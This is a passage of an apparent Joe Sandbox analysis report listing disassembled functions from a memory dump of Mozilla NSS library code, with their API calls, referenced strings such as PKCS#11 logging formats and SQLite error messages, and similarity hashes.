PR_LogPrint.NSS3(C_GetSlotList), ref: 6C7925DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C79262A

Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C870BAB
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870BBA
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6C79260F

Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870B88
Part of subcall function 6C8709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C870C5D
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C870C8D
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870C9C
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(?), ref: 6C870CD1
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C870CEC
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870CFB
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870D16
Part of subcall function 6C8709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C870D26
Part of subcall function 6C8709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C870D35
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C870D65
Part of subcall function 6C8709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C870D70
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870D90
Part of subcall function 6C8709D0: free.MOZGLUE(00000000), ref: 6C870D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6C7925F6

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C792699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6C7926C5

Strings

pulCount = 0x%p, xrefs: 6C792625
*pulCount = 0x%x, xrefs: 6C792694
pSlotList = 0x%p, xrefs: 6C79260A
C_GetSlotList, xrefs: 6C7925D8
tokenPresent = 0x%x, xrefs: 6C7925F1
slotID[%d] = %x, xrefs: 6C7926C0

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: de550d736b82d896830c3a0148e8c76826bd4a8b39c178e3f6374cebe7ae80e8
Instruction ID: 1fe58e74a76c9af93c193955e1662289fb6631fe6968d94ee4418d5171082037
Opcode Fuzzy Hash: de550d736b82d896830c3a0148e8c76826bd4a8b39c178e3f6374cebe7ae80e8
Instruction Fuzzy Hash: E931CF71201245AFDB20EF58EF8CA5937B5AB8235DF04443AE90487F53DB31AD54CBA1

Function 6C75AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C75AF47

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

FreeLibrary.KERNEL32(?), ref: 6C75AF6D
free.MOZGLUE(?), ref: 6C75AFA4
free.MOZGLUE(?), ref: 6C75AFAA
PR_ExitMonitor.NSS3 ref: 6C75AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C75AFF5
PR_ExitMonitor.NSS3 ref: 6C75B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C75B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C75B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C75B03C

Strings

Unloaded library %s, xrefs: 6C75B023
%s decr => %d, xrefs: 6C75AFF0

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 640eea1148e592ab1aeef99a471d66565552d9865c49001c4a0067ab02acbb3f
Instruction ID: 5dc5098db8f2b4c07d24aadcc3d4a9a5e17c3b4e0cd36c1265c9e023999a2195
Opcode Fuzzy Hash: 640eea1148e592ab1aeef99a471d66565552d9865c49001c4a0067ab02acbb3f
Instruction Fuzzy Hash: 023127B4B04101ABE7209F64DE44E29B774EB0532CB544535E80597A81FB23E834C7F2

Function 6C7B8680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C7655D0,00000000,00000000), ref: 6C7B868B
PR_NewLock.NSS3(00000000,00000000), ref: 6C7B86A0

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C7B86B2

Part of subcall function 6C74BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7521BC), ref: 6C74BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C7B86C8

Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C74BBEB
Part of subcall function 6C74BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C74BBFB
Part of subcall function 6C74BB80: GetLastError.KERNEL32 ref: 6C74BC03
Part of subcall function 6C74BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C74BC19
Part of subcall function 6C74BB80: free.MOZGLUE(00000000), ref: 6C74BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C7B86E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C7B86EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C7B8700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6C7B871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6C7B8726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6C7B8743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6C7B874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6C7B8759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7B8760
free.MOZGLUE(00000000,00000000,00000000), ref: 6C7B876C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: 54214a6faf2abbf936297fa27782fb331fd27caf3ff288df30569232669bf3f7
Instruction ID: 2da865d13e4665005e43b2ddf4dd0090c1c19568877f19f405ab7d982f386ed8
Opcode Fuzzy Hash: 54214a6faf2abbf936297fa27782fb331fd27caf3ff288df30569232669bf3f7
Instruction Fuzzy Hash: BF21E7F5B006026BEB20AFB99D0999B3BACEF4129C7144534F82AD7B42EB31D414C7E1

Function 6C7A6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7A781D,00000000,6C79BE2C,?,6C7A6B1D,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7A781D,?,6C79BE2C,?), ref: 6C7A6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7A6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7A6C96

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7A6CAA

Strings

rdb:, xrefs: 6C7A6C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C7A6C91
dbm, xrefs: 6C7A6CA4
sql:, xrefs: 6C7A6C52
extern:, xrefs: 6C7A6C7E
dbm:, xrefs: 6C7A6C3A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 07536b10f78ec84f50c6879f785e40d61483cfeee4b5ada5d122dd235aff8f96
Instruction ID: 1a3a26ba558f0b9cb3058cab2ab35a8f824b4286848395b388f074916ed27f27
Opcode Fuzzy Hash: 07536b10f78ec84f50c6879f785e40d61483cfeee4b5ada5d122dd235aff8f96
Instruction Fuzzy Hash: A401F7E170270177F66027FD5F89F16365C9F8214DF140931FE04E4A42EA92F61690A9

Function 6C848780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6C84849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6C84884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6C84849F,?,-00000001,-00000001,00000000,?), ref: 6C8488F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6C84849F,?,-00000001), ref: 6C848929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C84849F,?), ref: 6C848B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6C84849F,?,-00000001,-00000001,00000000), ref: 6C848B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C84849F,?), ref: 6C848CCF

Strings

abort due to ROLLBACK, xrefs: 6C848B04
no more rows available, xrefs: 6C848B0E
another row available, xrefs: 6C848AB1
%s.xBestIndex malfunction, xrefs: 6C848AEC
unknown error, xrefs: 6C8488DD, 6C848B1B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: ecf7952b1610073f933abaf5099c6640b74897c0d34af1df674ce8aec8a3c464
Instruction ID: 3041240af19b67b2b3c65419c4d5bbd8350a9833b453cbf223266a6e5ed00ce8
Opcode Fuzzy Hash: ecf7952b1610073f933abaf5099c6640b74897c0d34af1df674ce8aec8a3c464
Instruction Fuzzy Hash: DA02D1B1A006198FDB24CF58C5806AEB7F2FF49318F14896AD816EBB51D735E842CBD1

Function 6C7B4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7778F8), ref: 6C7B4E6D

Part of subcall function 6C7509E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7506A2,00000000,?), ref: 6C7509F8
Part of subcall function 6C7509E0: malloc.MOZGLUE(0000001F), ref: 6C750A18
Part of subcall function 6C7509E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C750A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7778F8), ref: 6C7B4ED9

Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C7A7703,?,00000000,00000000), ref: 6C7A5942
Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7A7703), ref: 6C7A5954
Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A596A
Part of subcall function 6C7A5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A5984
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C7A5999
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A59BA
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7A59D3
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A59F5
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C7A5A0A
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A5A2E
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C7A5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4EB3

Part of subcall function 6C7B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B4EB8,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B484C
Part of subcall function 6C7B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B4EB8,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B486D
Part of subcall function 6C7B4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C7B4EB8,?), ref: 6C7B4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4EC0

Part of subcall function 6C7B4470: TlsGetValue.KERNEL32(00000000,?,6C777296,00000000), ref: 6C7B4487
Part of subcall function 6C7B4470: EnterCriticalSection.KERNEL32(?,?,?,6C777296,00000000), ref: 6C7B44A0
Part of subcall function 6C7B4470: PR_Unlock.NSS3(?,?,?,?,6C777296,00000000), ref: 6C7B44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C88DCB0,00000000), ref: 6C7B4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C7B501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B506B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: ec35f09e7780866e498bce1c8aa9c98fda405878c199be1ac2fa133d7a015c87
Instruction ID: 16d53099b29f1cfc386e12f79562598fbcda65997c392635f57832259f270193
Opcode Fuzzy Hash: ec35f09e7780866e498bce1c8aa9c98fda405878c199be1ac2fa133d7a015c87
Instruction Fuzzy Hash: AC51E5B1A002019FDB119F34EE09AAB77B4FF0531CF184635EC06A6A52FB31D525DAD2

Function 6C75ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75ACE2
malloc.MOZGLUE(00000001), ref: 6C75ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C75AD02
TlsGetValue.KERNEL32 ref: 6C75AD3C
calloc.MOZGLUE(00000001,?), ref: 6C75AD8C
PR_Unlock.NSS3 ref: 6C75ADC0
free.MOZGLUE(00000000), ref: 6C75AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C75AE58
free.MOZGLUE(00000000), ref: 6C75AE69
free.MOZGLUE(?), ref: 6C75AE78
PR_Unlock.NSS3 ref: 6C75AE8C
free.MOZGLUE(?), ref: 6C75AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75AEC7

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e7b9549935a057b34f63dfa946be76a460578d10144e500fb849da0856356900
Instruction ID: 45cbcfe4195492cd58bc4bde71639252f5676cdfc0d4c860250047ca5e49439e
Opcode Fuzzy Hash: e7b9549935a057b34f63dfa946be76a460578d10144e500fb849da0856356900
Instruction Fuzzy Hash: E95194B0A002159BDF20EF58DE86ABE7778BB0635DF540135D804A7B01EB31AA24CBE5

Function 6C79ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C79ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C79AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79AE29

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C79AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C79AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C79AEA0

Strings

hSession = 0x%x, xrefs: 6C79AE01, 6C79AE11
hKey = 0x%x, xrefs: 6C79AE62, 6C79AE72
C_MessageSignInit, xrefs: 6C79ADE1
(CK_INVALID_HANDLE), xrefs: 6C79AE1F, 6C79AE80

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 59bca638cdaa80b471dfe3fbe2e84db30f9a1c8c3aaf958171e279b39ed022f8
Instruction ID: 2a2ce3cbd77281d76d0c790ba2dc2f71f290994e22fae8343a619d5b76803a9a
Opcode Fuzzy Hash: 59bca638cdaa80b471dfe3fbe2e84db30f9a1c8c3aaf958171e279b39ed022f8
Instruction Fuzzy Hash: ED31E971A02104ABCB30DB14EE4DBAE37B9BB4631DF454835E40967B51DB34A948CBE1

Function 6C79A650 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptInit), ref: 6C79A676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C79A6A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79A6B9

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C79A6CF
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C79A708
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79A71A
PR_LogPrint.NSS3(?,00000000), ref: 6C79A730

Strings

hSession = 0x%x, xrefs: 6C79A691, 6C79A6A1
C_MessageDecryptInit, xrefs: 6C79A671
hKey = 0x%x, xrefs: 6C79A6F2, 6C79A702
(CK_INVALID_HANDLE), xrefs: 6C79A6AF, 6C79A710

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
